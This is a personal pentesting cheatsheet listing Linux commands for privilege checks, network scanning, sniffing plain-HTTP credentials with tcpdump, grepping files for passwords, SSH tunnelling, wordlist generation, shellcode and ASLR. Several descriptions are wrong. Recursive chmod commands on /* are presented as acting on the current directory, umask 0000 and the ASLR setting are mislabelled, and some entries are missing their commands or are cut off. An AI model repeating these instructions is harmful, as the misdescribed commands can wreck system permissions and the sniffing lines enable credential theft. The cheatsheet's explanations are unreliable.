Intro
Pentesting Cheatsheet
An unstructured list of bolts & clamps I have collected over time.
Linux
Privileges
find all setuid and setgid programs
find / -perm -6000 -print
set file immutable (even root cannot delete it)
chattr +i test.txt
set file append only. Can only add new content, not remove old
chattr +a test.txt
verify immutable flag (plus other flags)
lsattr
revoke to groups and other read+write+execution permission in the current and sub directories
chmod -R go-rwx /*
assigns to all user read+write+execution permission in the current and sub directories
chmod -R a+rx /*
allows file owner to be the only one authorized to delete their files
umask 0000
cat, grep & misc commands
cat all files recursively
find . -name '*.txt' -exec cat {} \;
find . -name '*' -exec ls -asl {} \; 2>/dev/null | grep passwd
find . -name foo -type f -print0 | xargs -0 grep "password"
find a pattern in a file and suppress stderr
grep 'pattern' file 2>/dev/null
grep -s 'pattern' file
Network Scanning
Unicorn UDP scan over tunnel interface (often faster than nmap)
unicornscan -mU -p 161 10.11.1.0/24 -i tap0
Masscan over tunnel
masscan -p1-65500 10.11.1.219 --interface tap0 --router-mac 00-50-56-89-35-90
nmap check all related vulnerabilities
nmap --script vuln [host]
Traffic Dump
Grab everything between two keywords
tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'
Grab user and pass ever plain http
tcpdump -i eth0 port http -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
SSH Port Forwarding
SSH local port forwarding
Make services on the remote network accessible to your host via a local listener.
The service running on the remote host on TCP port 8834 is accessible by connecting to 8834 on the SSH client system.
ssh -L 8834:localhost:8834 user@taget_ip
SSH remote port forwarding
Make services on your local system / local network accessible to the remote host via a remote listener.
The SSH server will be able to access TCP port 80 on 172.16.0.99 (a host accessible from the SSH client) by connecting to 127.0.0.1:8000 on the SSH server.
ssh -R 127.0.0.1:8000:172.16.0.99:80 10.0.0.1
Password cracking and wordlists
Crunch Worlist Generator
Crunch - Wordlist Generator
@ - Lower case alpha characters
, - Upper case alpha characters
% - Numeric characters
^ - Special characters including space
example:
crunch 8 8 -t ,@@^^%%%

Create wordlist in norwegian using words from Wikipedia
wget http://download.wikimedia.org/nowiki/latest/nowiki-latest-pages-articles.xml.bz2

compile windows on kali 32bit
i686-w64-mingw32-gcc shell.c -o shell.exe
generates only ASM from C code

Binary Exploitation and Reversing
ASLR
disable ASLR system-wide
echo 1 > /proc/sys/kernel/randomize_va_space
disable ASLR on a single bash session, instead of the whole OS
setarch $(uname --machine) --addr-no-randomize bash
PWN TOOLS
convert shellcode to machinecode
print(repr(asm(shellcraft.sh())))
Ret2LibC
finds /bin/sh location inside libc
(gdb) break main
Breakpoint 1 at 0x8048570
(gdb) run
